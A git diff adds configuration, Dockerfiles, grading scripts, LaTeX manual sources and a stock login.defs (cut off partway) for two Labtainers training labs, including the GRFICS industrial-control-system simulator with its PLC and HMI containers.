b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/grassmarlin/ics-trace.pcap new file mode 100644 index 000000000..f5891b0a2 Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/grassmarlin/ics-trace.pcap differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/instr_config/goals.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/instr_config/goals.config new file mode 100644 index 000000000..30f2e69ca --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/instr_config/goals.config @@ -0,0 +1,5 @@ +# goals.config +# +# Please see the Labtainer Lab Designer User Guide + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/instr_config/instructions.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/instr_config/instructions.txt new file mode 100644 index 000000000..667cd20ad --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/instr_config/instructions.txt @@ -0,0 +1 @@ +Lab-specific instructor notes. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/instr_config/pregrade.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/instr_config/pregrade.sh new file mode 100755 index 000000000..791a2f574 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/instr_config/pregrade.sh @@ -0,0 +1,42 @@ +#!/bin/bash +: <<'END' +This software was created by United States Government employees at +The Center for Cybersecurity and Cyber Operations (C3O) +at the Naval Postgraduate School NPS. Please note that within the +United States, copyright protection is not available for any works +created by United States Government employees, pursuant to Title 17 +United States Code Section 105. This software is in the public +domain and is not subject to copyright. +END +# +# Script to run prior to grading a student's lab. It is intended +# for two potential purposes: +# 1) Create solution artifacts to campare against student artifacts; +# 2) Process student artifacts into a different form, e.g., extracting +# browser sqlite data as in the default instance of this file below. +# +# +# +homedir=$1 +# destdir includes the container +destdir=$2 +dbg=/tmp/pregrade.log +cd $homedir/$destdir +is_sqlite=`which sqlite3` +if [ ! -z $is_sqlite ]; then + #echo $is_sqlite + here=`pwd` + places=$here/.mozilla/firefox/*default/places.sqlite + for fname in $(ls $places 2> /dev/null); do + if [[ -f $fname ]]; then + outpath=$here/.local/result + outfile=$outpath/moz_places.txt + mkdir -p "$outpath" + sqlite3 "$fname" "SELECT moz_places.* FROM moz_places;" >"$outfile" + fi + done +fi + +# +# Add other processing below. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/instr_config/results.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/instr_config/results.config new file mode 100644 index 000000000..541411928 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grassmarlin/instr_config/results.config @@ -0,0 +1,4 @@ +# results.config +# +# Please see the Labtainer Lab Designer User Guide + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/config/about.txt new file mode 100644 index 000000000..22a5bcd73 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/config/about.txt @@ -0,0 +1 @@ +The GRFICS virtual ICS from https://github.com/djformby/GRFICS diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/config/bigexternal.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/config/bigexternal.txt new file mode 100644 index 000000000..ff3a30038 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/config/bigexternal.txt @@ -0,0 +1,2 @@ +https://nps.box.com/shared/static/fxthtmobdmx2e69zfgtzftuzujio7v2t.tar plc/home_tar/home.tar +https://nps.box.com/shared/static/zq8u5j3mjdz95dl3vzt8qa8xpxxlpyrn.tar grfics/home_tar/home.tar diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/config/start.config new file mode 100644 index 000000000..481dd53ec --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/config/start.config @@ -0,0 +1,60 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER grfics + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED grfics_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +NETWORK PLC_NET + MASK 192.168.95.0/24 + GATEWAY 192.168.95.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections. +# +CONTAINER grfics + USER user + PASSWORD password + PLC_NET:0 192.168.95.10 + PLC_NET:1 192.168.95.11 + PLC_NET:2 192.168.95.12 + PLC_NET:3 192.168.95.13 + PLC_NET:4 192.168.95.14 + PLC_NET:5 192.168.95.15 + X11 YES + TERMINALS 2 + TERMINAL_GROUP 1 + +CONTAINER plc + USER user + PASSWORD password + PLC_NET 192.168.95.2 + +CONTAINER hmi + USER user + PASSWORD password + PLC_NET 192.168.95.3 + X11 YES diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/dockerfiles/Dockerfile.grfics.grfics.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/dockerfiles/Dockerfile.grfics.grfics.student new file mode 100644 index 000000000..d72644644 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/dockerfiles/Dockerfile.grfics.grfics.student @@ -0,0 +1,81 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.base +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +RUN apt-get update && DEBIAN_FRONTEND=noninteractive apt-get install -y \ + libgl1-mesa-dri libglu1-mesa + +RUN apt-get install -y python-twisted libjsoncpp-dev liblapacke +RUN pip install pyModbusTCP +RUN pip install pyModbus +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME + + +USER root +RUN echo "user ALL=(ALL) NOPASSWD:ALL" > /etc/sudoers.d/user + +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/dockerfiles/Dockerfile.grfics.hmi.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/dockerfiles/Dockerfile.grfics.hmi.student new file mode 100644 index 000000000..27d5ac703 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/dockerfiles/Dockerfile.grfics.hmi.student @@ -0,0 +1,68 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.wine +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/dockerfiles/Dockerfile.grfics.plc.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/dockerfiles/Dockerfile.grfics.plc.student new file mode 100644 index 000000000..dde8a6bcd --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/dockerfiles/Dockerfile.grfics.plc.student @@ -0,0 +1,72 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.network +#FROM $registry/labtainer.network +#FROM $registry/labtainer.centos +#FROM $registry/labtainer.lamp +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +ARG version +LABEL version=$version +ENV APT_SOURCE $apt_source +RUN /usr/bin/apt-source.sh +# +# put package installation here +# +RUN apt-get update && apt-get install -y --no-install-recommends nodejs +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +RUN adduser $user_name sudo +# replace above with below for centos/fedora +#RUN usermod $user_name -a -G wheel + + +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +CMD ["/bin/bash", "-c", "exec /sbin/init --log-target=journal 3>&1"] + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/Makefile new file mode 100644 index 000000000..4e39dc4b8 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/Makefile @@ -0,0 +1,8 @@ +grfics.pdf: grfics.tex header.tex + latex grfics + pdflatex -jobname=grfics grfics + pdflatex -jobname=grfics grfics + +clean: + rm -fr auto + rm -f grfics.aux grfics.log grfics.pdf grfics.dvi grfics.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/ase18-paper_formby.pdf b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/ase18-paper_formby.pdf new file mode 100644 index 000000000..36ecf457c Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/ase18-paper_formby.pdf differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/grfics.aux b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/grfics.aux new file mode 100644 index 000000000..eda7d58c4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/grfics.aux @@ -0,0 +1,19 @@ +\relax +\providecommand\hyper@newdestlabel[2]{} +\providecommand\HyperFirstAtBeginDocument{\AtBeginDocument} +\HyperFirstAtBeginDocument{\ifx\hyper@anchor\@undefined +\global\let\oldcontentsline\contentsline +\gdef\contentsline#1#2#3#4{\oldcontentsline{#1}{#2}{#3}} +\global\let\oldnewlabel\newlabel +\gdef\newlabel#1#2{\newlabelxx{#1}#2} +\gdef\newlabelxx#1#2#3#4#5#6{\oldnewlabel{#1}{{#2}{#3}}} +\AtEndDocument{\ifx\hyper@anchor\@undefined +\let\contentsline\oldcontentsline +\let\newlabel\oldnewlabel +\fi} +\fi} +\global\let\hyper@last\relax +\gdef\HyperFirstAtBeginDocument#1{#1} +\providecommand\HyField@AuxAddToFields[1]{} +\providecommand\HyField@AuxAddToCoFields[2]{} +\@writefile{toc}{\contentsline {section}{\numberline {1}Overview}{1}{section.1}} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/grfics.dvi b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/grfics.dvi new file mode 100644 index 000000000..62b7f6b2a Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/grfics.dvi differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/grfics.out b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/grfics.out new file mode 100644 index 000000000..5f67db91e --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/grfics.out @@ -0,0 +1 @@ +\BOOKMARK [1][-]{section.1}{Overview}{}% 1 diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/grfics.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/grfics.tex new file mode 100644 index 000000000..d20498709 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/grfics.tex @@ -0,0 +1,41 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE GRFICS ICS Simulator} +\vspace{0.1in}\\ +\end{center} + +\section{Overview} +This lab is the virtual industrial control system (ICS) described at: +https://github.com/djformby/GRFICS +The three VMs described at that site have been reimplemented as Labtainers. + +Please refer to the above link for information about the lab, and the +GRFICS Usenix paper for information about the simulation. + +To start the simulation: +\begin{itemize} +\item In one of the tabs in the grfics virtual terminal: +\begin{verbatim} + cd HMI_SIMULATION_Ubuntu1604_15_x86_64 + sudo ./HMI_Simulation_Ubuntu1604_15_x86_64.x86_64 +\end{verbatim} +\noindent And then enter ``/home/user/simulation/simulation'' for the path +to the simulation code and click ``Run Server'' and the ``Start''. +\item In the other tab in the grfics virtual terminal: +\begin{verbatim} + cd simulation/remote_io + sudo bash run_all.sh +\end{verbatim} +\item In the plc terminal: +\begin{verbatim} + cd OpenPLC_v2 + sudo nodejs server.js +\end{verbatim} +\item In the plc terminal: +\begin{verbatim} + wine HMI/AdvancedHMI.exe +\end{verbatim} +\end{itemize} +\end{document} diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/header.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/header.tex new file mode 100644 index 000000000..d81b557e1 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/header.tex @@ -0,0 +1,122 @@ +\documentclass[11pt]{article} + +\usepackage{times} +\usepackage{epsf} +\usepackage{epsfig} +\usepackage{amsmath, alltt, amssymb, xspace} +\usepackage{wrapfig} +\usepackage{fancyhdr} +\usepackage{url} +\usepackage{verbatim} +\usepackage{fancyvrb} +\usepackage{float} + +\usepackage{subfigure} +\usepackage{cite} +\usepackage{hyperref} +\hypersetup{% + pdfborder = {0 0 0} +} +\topmargin -0.50in % distance to headers +\oddsidemargin 0.0in +\evensidemargin 0.0in +\textwidth 6.5in +\textheight 8.9in + + +%\centerfigcaptionstrue + +%\def\baselinestretch{0.95} + + +\newcommand\discuss[1]{\{\textbf{Discuss:} \textit{#1}\}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} +\newtheorem{problem}{Problem}[section] +%\newtheorem{theorem}{Theorem} +%\newtheorem{fact}{Fact} +\newtheorem{define}{Definition}[section] +%\newtheorem{analysis}{Analysis} +\newcommand\vspacenoindent{\vspace{0.1in} \noindent} + +%\newenvironment{proof}{\noindent {\bf Proof}.}{\hspace*{\fill}~\mbox{\rule[0pt]{1.3ex}{1.3ex}}} +%\newcommand\todo[1]{\vspace{0.1in}\{\textbf{Todo:} \textit{#1}\}\vspace{0.1in}} + +%\newcommand\reducespace{\vspace{-0.1in}} +% reduce the space between lines +%\def\baselinestretch{0.95} + +\newcommand{\fixmefn}[1]{ \footnote{\sf\ \ \fbox{FIXME} #1} } +\newcommand{\todo}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{TODO: #1}} +\vspace{0.1in} +} + +\newcommand{\mybox}[1]{ +\vspace{0.2in} +\noindent +\fbox{\parbox{6.5in}{#1}} +\vspace{0.1in} +} + + +\newcounter{question} +\setcounter{question}{1} + +\newcommand{\myquestion} {{\vspace{0.1in} \noindent \bf Question \arabic{question}:} \addtocounter{question}{1} \,} + +\newcommand{\myproblem} {{\noindent \bf Problem \arabic{question}:} \addtocounter{question}{1} \,} + + + +\newcommand{\copyrightnotice}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{ + This lab was developed for the Labtainer framework by the Naval Postgraduate + School, Center for Cybersecurity and Cyber Operations under National Science + Foundation Award No. 1438893. + This work is in the public domain, and cannot be copyrighted.}} +\vspace{0.1in} +} + + +\newcommand{\idea}[1]{ +\vspace{0.1in} +{\sf IDEA:\ \ \fbox{\parbox{5in}{#1}}} +\vspace{0.1in} +} + +\newcommand{\questionblock}[1]{ +\vspace{0.1in} +\fbox{\parbox{6in}{#1}} +\vspace{0.1in} +} + + +\newcommand{\argmax}[1]{ +\begin{minipage}[t]{1.25cm}\parskip-1ex\begin{center} +argmax +#1 +\end{center}\end{minipage} +\; +} + +\newcommand{\bm}{\boldmath} +\newcommand {\bx} {\mbox{\boldmath $x$}} +\newcommand {\by} {\mbox{\boldmath $y$}} +\newcommand {\br} {\mbox{\boldmath $r$}} + + +\newcommand{\tstamp}{\today} +%\rfoot[\fancyplain{\tstamp} {\tstamp}] {\fancyplain{}{}} + +\pagestyle{fancy} +\lhead{\bfseries Labtainers} +\chead{} +\rhead{\small \thepage} +\lfoot{} +\cfoot{} +\rfoot{} + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/read_first.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/read_first.txt new file mode 100644 index 000000000..c5ace7c7b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/docs/read_first.txt @@ -0,0 +1,8 @@ +The lab manual is at + file://LAB_DOCS/grfics.pdf +The Usenix paper describing the GRFICS simulation is at: + file://LAB_DOCS/ase18-paper_formby.pdf + +You may open the manual by right clicking +and select "Open Link". + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/grfics/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/grfics/_bin/fixlocal.sh new file mode 100755 index 000000000..a9532b0e6 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/grfics/_bin/fixlocal.sh @@ -0,0 +1,18 @@ +#!/bin/bash +# +# This script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument, +# (the user ID is the second parameter) +# If this script is to use sudo and the sudoers for the lab +# does not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +# If you issue commands herein to start services, and those services +# have unit files prescribing their being started after the +# waitparam.service, then first create the flag directory that +# waitparam sleeps on: +# +# PERMLOCKDIR=/var/labtainer/did_param +# echo $1 | sudo -S mkdir -p "$PERMLOCKDIR" + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/grfics/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/grfics/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/grfics/grfics/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use 